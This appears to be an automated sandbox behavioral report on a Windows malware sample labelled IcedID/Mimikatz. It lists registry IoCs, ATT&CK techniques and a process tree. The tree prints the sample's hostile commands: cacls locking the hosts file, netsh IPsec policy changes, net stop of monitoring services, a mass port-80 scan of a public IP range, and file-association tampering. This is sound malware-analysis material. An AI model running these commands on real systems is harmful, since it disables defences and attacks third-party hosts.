Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2025-01-13_e5486dcf3693cdc92bc25a159420f058_hacktools_icedid_mimikatz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ysyeeye.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	varpws.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rgiaeelul.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ysyeeye.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xohudmc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nimusahes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3168	cmd.exe
4824	PING.EXE

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral2/files/0x000b000000023b64-6.dat	nsis_installer_2
behavioral2/files/0x0031000000023b71-15.dat	nsis_installer_1
behavioral2/files/0x0031000000023b71-15.dat	nsis_installer_2

Modifies data under HKEY_USERS 45 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ysyeeye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sbgiuuhde.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sbgiuuhde.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sbgiuuhde.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sbgiuuhde.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	ysyeeye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	sbgiuuhde.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sbgiuuhde.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sbgiuuhde.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sbgiuuhde.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sbgiuuhde.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sbgiuuhde.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ysyeeye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	sbgiuuhde.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	sbgiuuhde.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sbgiuuhde.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sbgiuuhde.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sbgiuuhde.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sbgiuuhde.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ysyeeye.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sbgiuuhde.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sbgiuuhde.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sbgiuuhde.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sbgiuuhde.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sbgiuuhde.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sbgiuuhde.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sbgiuuhde.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sbgiuuhde.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sbgiuuhde.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sbgiuuhde.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sbgiuuhde.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sbgiuuhde.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sbgiuuhde.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ysyeeye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sbgiuuhde.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sbgiuuhde.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sbgiuuhde.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sbgiuuhde.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sbgiuuhde.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ysyeeye.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sbgiuuhde.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sbgiuuhde.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sbgiuuhde.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	sbgiuuhde.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	sbgiuuhde.exe

Modifies registry class 14 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	ysyeeye.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	ysyeeye.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	ysyeeye.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	ysyeeye.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	ysyeeye.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	ysyeeye.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	ysyeeye.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	ysyeeye.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	ysyeeye.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	ysyeeye.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	ysyeeye.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	ysyeeye.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	ysyeeye.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	ysyeeye.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4824	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3828	schtasks.exe
4752	schtasks.exe
3848	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe

Suspicious behavior: LoadsDriver 15 IoCs

pid	Process
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
776	2025-01-13_e5486dcf3693cdc92bc25a159420f058_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	776	2025-01-13_e5486dcf3693cdc92bc25a159420f058_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	5068	ysyeeye.exe
Token: SeDebugPrivilege	2136	ysyeeye.exe
Token: SeDebugPrivilege	4504	vfshost.exe
Token: SeDebugPrivilege	1272	sbgiuuhde.exe
Token: SeLockMemoryPrivilege	2212	rniyyi.exe
Token: SeLockMemoryPrivilege	2212	rniyyi.exe
Token: SeDebugPrivilege	2448	sbgiuuhde.exe
Token: SeDebugPrivilege	1088	sbgiuuhde.exe
Token: SeDebugPrivilege	5060	sbgiuuhde.exe
Token: SeDebugPrivilege	1416	sbgiuuhde.exe
Token: SeDebugPrivilege	452	sbgiuuhde.exe
Token: SeDebugPrivilege	2312	sbgiuuhde.exe
Token: SeDebugPrivilege	1116	sbgiuuhde.exe
Token: SeDebugPrivilege	412	sbgiuuhde.exe
Token: SeDebugPrivilege	3852	sbgiuuhde.exe
Token: SeDebugPrivilege	3248	sbgiuuhde.exe
Token: SeDebugPrivilege	4772	sbgiuuhde.exe
Token: SeDebugPrivilege	1612	sbgiuuhde.exe
Token: SeDebugPrivilege	3644	sbgiuuhde.exe
Token: SeDebugPrivilege	4112	sbgiuuhde.exe
Token: SeDebugPrivilege	2788	sbgiuuhde.exe
Token: SeDebugPrivilege	4720	sbgiuuhde.exe
Token: SeDebugPrivilege	3624	sbgiuuhde.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
776	2025-01-13_e5486dcf3693cdc92bc25a159420f058_hacktools_icedid_mimikatz.exe
776	2025-01-13_e5486dcf3693cdc92bc25a159420f058_hacktools_icedid_mimikatz.exe
5068	ysyeeye.exe
5068	ysyeeye.exe
2136	ysyeeye.exe
2136	ysyeeye.exe
4588	xohudmc.exe
4556	varpws.exe
520	ysyeeye.exe
520	ysyeeye.exe
3216	ysyeeye.exe
3216	ysyeeye.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 776 wrote to memory of 3168	776	2025-01-13_e5486dcf3693cdc92bc25a159420f058_hacktools_icedid_mimikatz.exe	82
PID 776 wrote to memory of 3168	776	2025-01-13_e5486dcf3693cdc92bc25a159420f058_hacktools_icedid_mimikatz.exe	82
PID 776 wrote to memory of 3168	776	2025-01-13_e5486dcf3693cdc92bc25a159420f058_hacktools_icedid_mimikatz.exe	82
PID 3168 wrote to memory of 4824	3168	cmd.exe	84
PID 3168 wrote to memory of 4824	3168	cmd.exe	84
PID 3168 wrote to memory of 4824	3168	cmd.exe	84
PID 3168 wrote to memory of 5068	3168	cmd.exe	85
PID 3168 wrote to memory of 5068	3168	cmd.exe	85
PID 3168 wrote to memory of 5068	3168	cmd.exe	85
PID 2136 wrote to memory of 3716	2136	ysyeeye.exe	87
PID 2136 wrote to memory of 3716	2136	ysyeeye.exe	87
PID 2136 wrote to memory of 3716	2136	ysyeeye.exe	87
PID 3716 wrote to memory of 628	3716	cmd.exe	89
PID 3716 wrote to memory of 628	3716	cmd.exe	89
PID 3716 wrote to memory of 628	3716	cmd.exe	89
PID 3716 wrote to memory of 2360	3716	cmd.exe	90
PID 3716 wrote to memory of 2360	3716	cmd.exe	90
PID 3716 wrote to memory of 2360	3716	cmd.exe	90
PID 3716 wrote to memory of 3792	3716	cmd.exe	91
PID 3716 wrote to memory of 3792	3716	cmd.exe	91
PID 3716 wrote to memory of 3792	3716	cmd.exe	91
PID 3716 wrote to memory of 1656	3716	cmd.exe	92
PID 3716 wrote to memory of 1656	3716	cmd.exe	92
PID 3716 wrote to memory of 1656	3716	cmd.exe	92
PID 3716 wrote to memory of 468	3716	cmd.exe	93
PID 3716 wrote to memory of 468	3716	cmd.exe	93
PID 3716 wrote to memory of 468	3716	cmd.exe	93
PID 3716 wrote to memory of 4256	3716	cmd.exe	94
PID 3716 wrote to memory of 4256	3716	cmd.exe	94
PID 3716 wrote to memory of 4256	3716	cmd.exe	94
PID 2136 wrote to memory of 2964	2136	ysyeeye.exe	95
PID 2136 wrote to memory of 2964	2136	ysyeeye.exe	95
PID 2136 wrote to memory of 2964	2136	ysyeeye.exe	95
PID 2136 wrote to memory of 2492	2136	ysyeeye.exe	97
PID 2136 wrote to memory of 2492	2136	ysyeeye.exe	97
PID 2136 wrote to memory of 2492	2136	ysyeeye.exe	97
PID 2136 wrote to memory of 5008	2136	ysyeeye.exe	99
PID 2136 wrote to memory of 5008	2136	ysyeeye.exe	99
PID 2136 wrote to memory of 5008	2136	ysyeeye.exe	99
PID 2136 wrote to memory of 1216	2136	ysyeeye.exe	105
PID 2136 wrote to memory of 1216	2136	ysyeeye.exe	105
PID 2136 wrote to memory of 1216	2136	ysyeeye.exe	105
PID 1216 wrote to memory of 4644	1216	cmd.exe	107
PID 1216 wrote to memory of 4644	1216	cmd.exe	107
PID 1216 wrote to memory of 4644	1216	cmd.exe	107
PID 4644 wrote to memory of 1472	4644	wpcap.exe	108
PID 4644 wrote to memory of 1472	4644	wpcap.exe	108
PID 4644 wrote to memory of 1472	4644	wpcap.exe	108
PID 1472 wrote to memory of 3216	1472	net.exe	110
PID 1472 wrote to memory of 3216	1472	net.exe	110
PID 1472 wrote to memory of 3216	1472	net.exe	110
PID 4644 wrote to memory of 2056	4644	wpcap.exe	111
PID 4644 wrote to memory of 2056	4644	wpcap.exe	111
PID 4644 wrote to memory of 2056	4644	wpcap.exe	111
PID 2056 wrote to memory of 3316	2056	net.exe	113
PID 2056 wrote to memory of 3316	2056	net.exe	113
PID 2056 wrote to memory of 3316	2056	net.exe	113
PID 4644 wrote to memory of 2104	4644	wpcap.exe	114
PID 4644 wrote to memory of 2104	4644	wpcap.exe	114
PID 4644 wrote to memory of 2104	4644	wpcap.exe	114
PID 2104 wrote to memory of 2448	2104	net.exe	116
PID 2104 wrote to memory of 2448	2104	net.exe	116
PID 2104 wrote to memory of 2448	2104	net.exe	116
PID 4644 wrote to memory of 636	4644	wpcap.exe	117

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2108
- C:\Windows\TEMP\ldagsiybe\rniyyi.exe
  "C:\Windows\TEMP\ldagsiybe\rniyyi.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2212

C:\Users\Admin\AppData\Local\Temp\2025-01-13_e5486dcf3693cdc92bc25a159420f058_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2025-01-13_e5486dcf3693cdc92bc25a159420f058_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:776
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\siltueee\ysyeeye.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3168
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4824
- - C:\Windows\siltueee\ysyeeye.exe
    C:\Windows\siltueee\ysyeeye.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:5068

C:\Windows\siltueee\ysyeeye.exe
C:\Windows\siltueee\ysyeeye.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2136
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3716
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:628
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2360
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:3792
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1656
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:468
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4256
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2964
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2492
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:5008
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\bgysuulnn\sbbfgiqug\wpcap.exe /S
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1216
- - C:\Windows\bgysuulnn\sbbfgiqug\wpcap.exe
    C:\Windows\bgysuulnn\sbbfgiqug\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - Suspicious use of WriteProcessMemory
    PID:4644
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1472
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3216
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2056
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3316
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2104
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2448
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:636
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        
        PID:4064
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2920
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4224
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:4540
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2276
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4744
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:4508
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\bgysuulnn\sbbfgiqug\nimusahes.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\bgysuulnn\sbbfgiqug\Scant.txt
  2⤵
  PID:3760
- - C:\Windows\bgysuulnn\sbbfgiqug\nimusahes.exe
